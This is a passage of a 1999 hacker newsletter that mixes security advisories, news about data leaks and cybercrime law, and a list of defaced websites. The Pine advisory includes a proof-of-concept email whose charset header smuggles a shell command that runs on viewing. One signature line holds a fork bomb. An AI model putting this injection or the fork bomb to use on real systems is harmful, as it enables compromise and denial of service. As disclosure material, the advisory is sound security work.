       
       The information within this paper may change without notice. Use of this
       information constitutes acceptance for use in an AS IS condition. There are
       NO warranties with regard to this information. In no event shall the author
       be liable for any damages whatsoever arising out of or in connection with
       the use or spread of this information. Any use of this information is at the
       user's own risk.
       
       Please send suggestions, updates, and comments to:
       eEye Digital Security Team
       info@eEye.com
       http://www.eEye.com
       
       Vendor response:
       
       Approved-By: Russ.Cooper@RC.ON.CA
       Date:         Thu, 4 Feb 1999 23:58:24 GMT
       Reply-To: lt@seattlelab.com
       Sender: Windows NT BugTraq Mailing List <NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM>
       From: Lee Thompson <lt@seattlelab.com>
       Subject:      Multiple SLMail Vulnerabilities
       To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
       
       We are working on a fix and will be including it in our SLmail 3.2 maintenance
       release.
       
       
       _
       Lee Thompson                       lt@seattlelab.com
       Seattle Lab Inc.           http://www.seattlelab.com
       Product Manager

    
       @HWA
       
  6.0  Arbitrary command execution in Pine in latest release
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
              
       Date: Mon, 8 Feb 1999 00:22:17 +0100
       From: Michal Zalewski <lcamtuf@IDS.PL>
       To: BUGTRAQ@netspace.org
       Subject: remote exploit on pine 4.10 - neverending story?
       
       Affected systems:
       -----------------
       
         Any Un*x system running 'pine' up to version 4.10 (latest).
       
       Compromise:
       -----------
       
         Remote execution of arbitrary code when message is viewed.
       
       Details:
       --------
       
         About five months ago, I reported vunerability in metamail package used
         with pine. I also noticed that '`' character is incorrectly expanded by
         pine. Problem has been ignored (probably noone understood what I am
         talking about?;-). But no matter. An exception from /etc/mailcap:
       
         text/plain; shownonascii iso-8859-1 %s; test=test "`echo %{charset} | tr
         '[A-Z]' '[a-z]'`" = iso-8859-1; copiousoutput
       
       Impact:
       -------
       
         And now, ladies and gentelmen - my old bug, reinvented. Usually, above
         mailcap line is expanded to:
       
         [...] execve </bin/sh> (sh) (-c) (test "`echo 'US-ASCII' | tr '[A-Z]'
               '[a-z]'`" = iso-8859-1)
       
         Hmm, but take a look at this message:
       
       ************************** MIME MESSAGE FOLLOWS **************************
       >From: Attacker <attacker@eleet.net>
       To: Victim <victim@somewhere.net>
       Subject: Happy birthday
       ...
       MIME-Version: 1.0
       Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-235065145-918425607=:319"
       
       --8323328-235065145-918425607=:319
       Content-Type: TEXT/PLAIN; charset='US-ASCII'
       
       Make a wish...
       
       --8323328-235065145-918425607=:319
       Content-Type: TEXT/PLAIN; charset=``touch${IFS}ME``; name="logexec.c"
       Content-Transfer-Encoding: BASE64
       Content-Description: wish
       Content-Disposition: attachment; filename="wish.c"
       
       ...it could be your last.
       *************************** MIME MESSAGE ENDS ***************************
       
        The result is:
       
         [...] execve </bin/sh> (sh) (-c) (test "`echo '``touch${IFS}ME``' | tr
               '[A-Z]' '[a-z]'`" = iso-8859-1)
       
         ...and arbitrary code ('touch ME', encoded using ${IFS} trick) is
         executed when message is viewed.
       
       Fix:
       ----
       
         Well, it's the second time I report problems with ` in headers.
         Maybe pine developers should wait a little longer ;-)
       
       _______________________________________________________________________
       Michal Zalewski [lcamtuf@ids.pl] [ENSI / marchew] [dione.ids.pl SYSADM]
       [lunete.nfi.pl SYSADM] [http://dione.ids.pl/lcamtuf] bash$ :(){ :|:&};:
       [voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813]
       Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]
       
  7.0  Hacking in Germany by Qubik
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Hacking in Germany.
       ©1999 HWA/Qubik

         Though visiting Germany is a very common thing for myself, the trip
       I took last month was the first where I've actually looked into the 
       Germany hacker scene..

         The German press seem to support so much of the hacker ethic, the
       magazines and newspapers are full of interesting interviews, updates
       and facts. Rather than trying to cover up the fact that hacker exist,
       like so many others do, they embrace the fact and try to teach the 
       country of what they do and why they do it. Take for example, CHIP, 
       it's a computer magazine full of interesting news, not just pages and
       pages of adverts! One of the articles compares the new generation of 
       hackers, against what is seen in films. It's full of information on 
       the CCC, Karl Koch and an interesting interview with Christoph Fischer,
       who doesn't seem like an idiot reading a script..!

        This all leads to a strange, yet pleasing, affect, whereby both the 
       hacker and your average Joe, get along without much tension, and from
       the impression I got from my associates, hackers in Germany are widely
       respected.

        But even in the heaven of Germany, hackerdom is looked down on upon by
       many, but at least there's a distinction between the good and bad hackers.
       Who knows, maybe one day I'll move to Germany and live in reasonable peace..

       Links:  http://www.chip.de/
               http://www.ccc.de/

       Have your say: qubik@bikkel.com
                  cc: hwa@press.usmc.net    


8.0  Spotlight on: Project Gamma
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~   
  
       Underground Sites - Project Gamma
       ©1999 HWA/Qubik
  
         In the first of a continuing series of reviews, I take a look into a 
       group called Project Gamma. Who are they? What do they do? And why do 
       they  do it!? Despite consisting of a nice layout and some great content, 
       Project Gamma has remained one of the more hidden underground sites. 
       Having come from solid background as a division of Gamma Force, it's
       slowly grown into a widely respected resource..
  
         It's current membership stands at a healthy five, with the webmaster, 
       WHiTe VaMPiRe, working non-stop to keep everything working smoothly. The
       site includes some good news content, specifically targeted at the 
       underground and some great extras such as the Top100 and webrings.
  
         I spoke to him and asked him what it was that compelled him to work as 
       hard as he does, and like a seasoned spokesperson, he replied with an almost
       scripted answer..  "I'm just trying to make the most out of my time online."
       We all know the truth of being an admin of any site, is the attention we get
       from the opposite sex..!
  
        This site deserves more visitors, so if you've got to see one site today,
       why not make it this one!?
  
       Links: http://www.projectgamma.com/
              http://www.gammaforce.org/
  
       Have your say: qubik@bikkel.com   
                  cc: hwa@press.usmc.net    
     
       @HWA       
       
  9.0 Secret Cyber Sex; Gary, your secret is out!
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      Via HNN Source: Nando Times, Kansas City Star
      
      Nando: http://www.techserver.com/story/0,1643,17514-28909-212134-0,00.html
      KCS: http://www.kcstar.com/item/pages/home.pat,local/30dabe6b.211,.html   
      
      This is gawd knows how many times in recent weeks that a "misconfigured"
      search engine has spewed out data to netizens that was intended to be on
      secure servers or at least supposedly stored in confidence, this time 
      Hallmark sucks the bullet for this boner:
      
      
     Hallmark computer glitch sends intimate online
     greetings into public cyberspace 

      Copyright © 1999 Nando Media
      Copyright © 1999 Associated Press

     KANSAS CITY, Mo. (February 12, 1999 7:50 a.m. EST http://www.nandotimes.com) - The lovers and
     flirts sending e-mail Valentines and other notes on Hallmark Cards' online site no doubt
     intended their musings to be perused only by that special someone. 
     
     Unwittingly, they had a potential audience of millions. 
     
     A programming error at hallmark.com allowed anyone with a computer and some curiosity to
     search the Web site for private love notes - and, in many cases, the senders' name, home and
     e-mail addresses and place of employment. 
     
     The security breach surprised customers and executives at the Kansas City-based company,
     which this week scrambled to modify the computer program after The Kansas City Star
     reported the problem. Technicians have since deleted all of the old messages. 
     
     A Hallmark official said the problem involved only greetings sent a year or more ago. 
     
     "It was a programming error," company spokeswoman Julie O'Dell said. "We certainly are
     committed to providing privacy." 
     
     The recipient of a cyber Hallmark greeting card first gets an e-mail from the company, including
     a password. Then he or she clicks on a Web address to view the card. 
     
     But until this week, all those messages were available to anyone who used the site's search
     engine, the newspaper reported. That means if the word "bear" was typed, for example,
     Hallmark's computer would have given you a list of Web pages including that word - including
     one page featuring a sweet message from "Teddy Bear" to his "Honey." 
     
     "I had no idea," said Gary Harders of Chicago, who sent one of the cards to his wife. "I
     assumed it was private. 
     
     "It defeats the whole purpose of sending somebody a personal card if everybody and his
     brother is going to get ahold of it. It could be embarrassing." 
     
     O'Dell said she had no idea how many people might have clicked through the greetings. 
     
     "This new system has, built in, a new standard to ensure this kind of thing doesn't happen
     again," she said. "We don't want a lot of people worried. None of the recent electronic
     greetings were in that file." 
     
     According to the Star, some of the messages were obviously not meant for mass consumption.
     Among them: 
     
     - "Gary & I have been having secret cyber sex via computer." 
     
     - "I've seen you swing a sledge hammer and the way your muscles ripple ... is amazing." 
     
     - "You deserve an extra foot massage tonight!" 
     
     Another writer e-mailed an intimate message and a photo of a flower to a woman friend, trying
     to entice her into a romantic rendezvous. 
     
     "You will have the greatest time you've had in 15 years," he assured his friend - unless the other
     man in her life persuaded her to stay home with him and their children instead. 
     
     @HWA
     
 10.0  Mr. Lewis, your kidney is out!, 'but but i'm DYIN over here'     
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
        Laugh
        ~~~~~
        
        In a frightening real-life drama that played out over the net in front of 
        approximately 3000 university BS laureates, Mr Donald Lewis 57 had his
        kidney removed by accident when a malicious cracker re-wrote his scheduled
        hemmorhoidal clippage to be performed for 'University Web TV' an outfit that
        doesn't really exist because this article is full of shit, had ya going there
        huh? well the scary truth follows: taken from Nando times: (via HNN)
        
        
        Don't laugh
        ~~~~~~~~~~~
        
        Michigan medical records accidentally posted on Web
        for two months 

        Copyright © 1999 Nando Media
        Copyright © 1999 Associated Press

        ANN ARBOR, Mich. (February 12, 1999 12:22 a.m. EST http://www.nandotimes.com)
        - Several thousand patient records at the University of Michigan Medical Center
        were available through public Internet sites for two months. 
       
       "Luckily, we were notified and able to stop it this time before real damage was 
       done," spokesman Dave Wilkins said. "Still, on all fronts, we're taking it very
       seriously." 
           
       The problem was discovered Monday when a university student searching for information
       about a doctor on the medical center's Web site was linked to files containing private
       patient records.
             
       The records contained names, addresses, phone numbers, Social Security numbers,
       employment status, treatments for specific medical conditions and other data. The
       information was used to schedule appointments, Wilkins said. 
       
       No one accessed the records until Monday, he said. 
       
       "I'm certainly not happy about it," said Cary Johnson, a nurse at the medical center whose
       2-year-old son's record was exposed. "I guess technology is helping us to do some things and
       hurting us in other ways." 
        
       (Sounds like a real pain in the ass ... this reminds me of a time way back in the 80's
       when a local drugstore kindly donated an old Ohio Scientific multi-processor 6502
       based machine with a 17" winchester drive in it, complete with medical records, to
       my computer collection, so much for privacy, guess we haven't come much further
       in regards to people's medical record privacy today. I mean sure I have an honest
       face but... maybe someday i'll put that box on the net, or perhaps it would make
       a great bar fridge or safe housing..hrm..but I digress. - Ed)
       
              
       @HWA
      
 11.0  Free email account vulnerabilities
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       I've mentioned before that Hotmail and the like are not anonymous services and it
       should come as no surprise to anyone that they are also likely targets for crackers
       and are probably (I wouldn't know *g*) full of security holes. The biggest "hole"
       is that unlimited password attempts are allowed and anyone with a real determination
       to get in that knows anything at all about the target will probably succeed..eventually
       there are other vulnerabilities beyond the scope of this article that are not discussed
       and imho more frightening but basically if you want "secure" email ENCRYPT it, if you
       want anonymity, use nightmail or a remailer but that involves some work on your part.
       - Ed nightmail ( www.nightmail.com, pretty "anonymous" but full of pr0n banners etc)
       
       http://chkpt.zdnet.com/chkpt/zdnu99021301/www.zdnet.com/zdtv/cybercrime/spyfiles/story/0,3700,2205746,00.html     

      Freemail Vulnerabilities

      If you have an account on Hotmail, Yahoo!, or Excite, it's vulnerable to hackers.
      By Ira Winkler  February 10, 1999 
      
      Free email services are a common feature on portal sites, but some of them have serious
      security vulnerabilities-- specifically, Yahoo! Mail, Excite Mail, and Hotmail. 

      First, these three services allow an unlimited number of log-on attempts. This means that
      malicious Internet users can perform password guessing and "brute force" password attacks
      against accounts on those systems. (After three failed log-in attempts, Yahoo! does ask the
      supposed user if they require help. However, additional log-in attempts are not prevented.) 

      Second, the user is not notified when a number of failed log-in attempts have occurred. If a
      password attack had been attempted against a user account, the user has no way of knowing. 

      These vulnerabilities affect a lot of Internet surfers. Free email services are extremely
      popular as a Web-based alternative to regular Internet service provider accounts. The ability to
      access mail from any Web browser and a certain level of Internet anonymity are great advantages
      that these accounts offer. Security, however, is a distinct disadvantage. 

      The problems probably are not limited to Yahoo!, Excite, and Hotmail. To test whether a particular
      site is vulnerable to a brute-force attack, simply try entering incorrect passwords. If the system
      allows more than ten invalid password entries  without locking out the account, then it probably
      allows an unlimited number of password-cracking attempts. 

      Password crackers attempt to obtain an account's password by exhaustively guessing
      word and number combinations. For example, an attacker may use a dictionary as the source of
      words. More sophisticated password crackers will use word-and-number combinations, such as
      star99. The most time-consuming technique is to try every possible combination of letters,
      numbers, and special characters. Such attacks can easily be automated. Password cracking is
      an extremely common hacker technique. 

      To prevent brute-force attacks, a security function should lock an account after an
      excessive number of failed log-in attempts, typically three to five. Once an account is
      locked, the user should be emailed about the failed log-in attempts and told to contact the
      system administrators, who will verify the user's identity. While this would cause a temporary
      interruption of service, it would prevent the account from being compromised. This is a
      basic security practice that is built into most computer operating systems. 

      Admittedly, these vulnerabilities are extremely basic. I was not expecting them to exist on all
      the systems I examined. I take their presence as an indication that security was not a crucial step
      in designing these systems. 
      
      While the sites all state that users should choose their passwords well, they do not
      account for attacks that can compromise even the best passwords. This leaves users, who
      number in the thousands or even hundreds of thousands (industry numbers measure accounts,
      not the number of users), vulnerable to someone with even trivial programming and hacking skills. 

      While no attacks have been reported, it is likely that they were attempted. It is also a given that
      they will be attempted and successful unless action is taken. 

      I contacted Yahoo! and Excite press liaisons about this issue and received no official reply.
      Hotmail could not be reached by telephone, and email messages to its technical support groups
      were not returned.    
      
      continued at the site ...
      
      http://chkpt.zdnet.com/chkpt/zdnu99021301/www.zdnet.com/zdtv/cybercrime/spyfiles/story/0,3700,2205746,00.html     
      
      @HWA
 
  12.0 Quebec poses hacker challenge to its open networks
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       Seen on HNN: contributed to HNN by Frenchie 
       
       Montreal Gazette: http://www.montrealgazette.com/PAGES/990211/2266737.html
       Yahoo News- French Version : http://biz.yahoo.com/rf/990210/bjo.html
       
       
       QUEBEC WANTS CHALLENGERS TO TEST ITS COMPUTER SECURITY

       PAUL CHERRY
       The Gazette

       The provincial government is to enlist hackers to test the security
       of its information networks. 

       A laboratory will be set up using the same computers - standard
       desktops with 400 megahertz Intel processors - used by many
       government services "as well as those used by hackers,"
       Paul-Andre Comeau, president of the province's Access to
       Information Commission, said yesterday. 

       The aim is inform people in charge of computers of recent
       innovations and of the relative advantages or disadvantages of
       new gadgets. 

       "We will also be able to check out how safe the systems can be
       and how they can be improved," Comeau said. 

       "In that respect, of course, we will have to be helped by outside
       people and, at times, like the RCMP does in 

       Ottawa, by hackers who are converted." 

       Comeau said reformed hackers are referred to as "white
       hackers" by the people who now hire them to protect systems. 

       A 24-year-old former hacker, interviewed by The Gazette last
       week, now protects an international computer network based in
       Montreal. 

       When he was 15, he was able to infiltrate Russian research
       computers - until he was caught and agreed to lecture RCMP
       staff on how hackers crack government systems to get
       information. 

       Comeau said someone tried for hours to hack into the
       commission's network two years ago, on a Saturday afternoon. 

       He said the demand for the extra protection has come not from
       the larger government ministries and organizations, but from
       smaller ones that are now trying to modernize and join
       established computer networks. 

       Another objective of the laboratory is to advise government
       services on what types of equipment to buy. 

       Even simple things like fax machines should be considered with
       security in mind, Comeau said. 

       He said the committee is advising government services against
       sending personal information via faxes, except in exceptional
       circumstances and after taking precautionary steps. 

       "We hope that in the coming year, 

       we will be able to advise hospitals and social institutions to do
       their own evaluation of their systems," he said, adding that a lot
       of money is about 

       to be invested in new information systems. 

       The laboratory will also examine the safety of equipment used
       for sharing data among institutions like hospitals and municipal
       administrations, which keep information that falls under privacy
       laws. 
       
       ©1998 The Gazette, a division of Southam Inc.
       
       @HWA                             
       
       
 13.0  News from Tokyo 
       ~~~~~~~~~~~~~~~
       
       Contributed by Wile, source: Associated Press (c) 1999 AP
       
       TOKYO (AP)  At a secret location somewhere in Tokyo, dozens
       of specialists in cryptography and electronic media will soon be
       hard at work patrolling cyberspace.
    
       Due to open by July, the new headquarters for the National Police
       Agency's ``cyber-cop'' squad signals growing concern about
       computer security as more and more Japanese join the global
       online revolution.
    
       And while unauthorized computer snooping in Japan is less
       common than in the United States, a sharp jump in
       computer-related crimes in recent years has rattled authorities.
    
       The increase is no surprise  legally, Japan is a hacker's heaven.
    
       Breaking into a computer system isn't even a crime in Japan,
       which sets it apart from most other major industrialized nations.
       Hackers are free to peep at sensitive data stored in Japanese
       mainframes so long as they don't destroy or sell any of it.
    
       ``We have fallen behind other countries in this area,'' said Kei
       Hata, a member of Parliament who serves as deputy head of the
       ruling party's Internet policy committee. ``It's a problem which
       must be addressed quickly.''
    
       Worry about the potential for computer-generated chaos has
       prompted Tokyo to draft legislation to outlaw unauthorized
       access. A bill is expected to be submitted in the current session of
       Parliament, which ends in June.
    
       The move comes amid pressure from Washington to bolster
       international efforts to fight crime in cyberspace and dismay in
       Japan over abuses such as the widespread transmission of child
       pornography and even poison sales via suicide-related Websites.
    
       The problem is still relatively new to Japan.
    
       In 1997, the number of high-tech crimes known to Japanese police
       climbed to 263, up from 178 the previous year and just 32 in
       1993.
    
       Still, a recent NPA survey showed that only 4 percent of
       companies and colleges polled reported cases of unauthorized
       access serious enough to inflict damage on their computer
       systems.
    
       By comparison, the San Francisco-based Computer Security
       Institute and the FBI found that 64 percent of 520 U.S.
       corporations, government agencies, financial institutions and
       universities responding to a 1998 survey had at least one
       computer security violation within the previous 12 months. More
       than 70 percent suffered financial losses.
    
       Japanese police suspect the true number of computer crimes is
       much higher than the official figure, and note that many
       businesses keep security problems under wraps to avoid negative
       publicity.
    
       Companies are particularly reluctant to disclose entanglements
       with organized crime syndicates, known as the yakuza.
    
       ``The yakuza have moved into this field,'' said Shunichi Kawabe,
       an official in the NPA's information technology bureau. ``They are
       very interested in making money in this type of business.''
    
       He said Internet-brokered gun trafficking, Web page-based
       pornography distribution and computer-generated financial fraud
       are among the areas suspected of being targeted.
    
       Thrill-seekers are also stirring up trouble.
    
       One hacker broke into a computer network used by the Hokkaido
       University of Education in northern Japan and gained access to
       login IDs and passwords used by about 1,000 employees and
       students. The university uncovered the security breach last
       month and shut down the entire network.
    
       Japan plans to step up computer training programs for police, but
       authorities acknowledge they have a long way to go before
       catching up with their counterparts in the United States.
    
       The good news for the cops is that Japanese hackers also lag
       behind their cohorts overseas.
    
       ``Domestic cyber-criminals are still low-tech,'' said Kawabe.
    
       @HWA
                 
  H.W  Hacked websites
       ~~~~~~~~~~~~~~~
       (via HNN http://www.hackernews.com/)
       
       HNN: Feb 11th  contributed by Anonymous 
       http://www.perkin-elmer.co.jp
       http://www.micrografx.co.jp
       http://red.glocom.ac.jp
       
       
       HNN: Feb 12th contributed by telephrk 
       Jordon Cracked
       This is presumably the first web site crack in the country of
       Jordan.
       http://www.go.com.jo
                                            
     
       Probably a bunch more, frankly i'm getting bored with the whole web
       cracking thing. there may or may not be more reported next issue.. - Ed
                 
  A.0  APPENDICES
       ~~~~~~~~~~   
        

  A.1  PHACVW, sekurity, security, cyberwar links
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
       The links are no longer maintained in this file, there is now a 
      links section on the http://welcome.to/HWA.hax0r.news/ url so check
      there for current links etc.
    
      The hack FAQ (The #hack/alt.2600 faq)
      http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html
    
      Hacker's Jargon File (The quote file)
      http://www.lysator.liu.se/hackdict/split2/main_index.html
    
   

      International links:(TBC)
      ~~~~~~~~~~~~~~~~~~~~~~~~~
      
      Foreign correspondants and others please send in news site links that
      have security news from foreign countries for inclusion in this list
      thanks... - Ed
      
      Netherlands...: http://security.pine.nl/
      Russia........: http://www.tsu.ru/~eugene/
      Indonesia.....: http://www.k-elektronik.org/index2.html
                      http://members.xoom.com/neblonica/
      Brasil........: http://www.psynet.net/ka0z
                      http://www.elementais.cjb.net           

    Got a link for this section? email it to hwa@press.usmc.net and i'll 
    review it and post it here if it merits it. 
    
    

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    © 1998, 1999 (c) Cruciphux/HWA.hax0r.news
    (r) Cruciphux is a trade mark of Harpies With Ailments corp.
    

  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
  
     Hackerz Without Attitudez Information Warfare Alliance Website
     Opening soon:
                          www.hwa-iwa.org
                         
    
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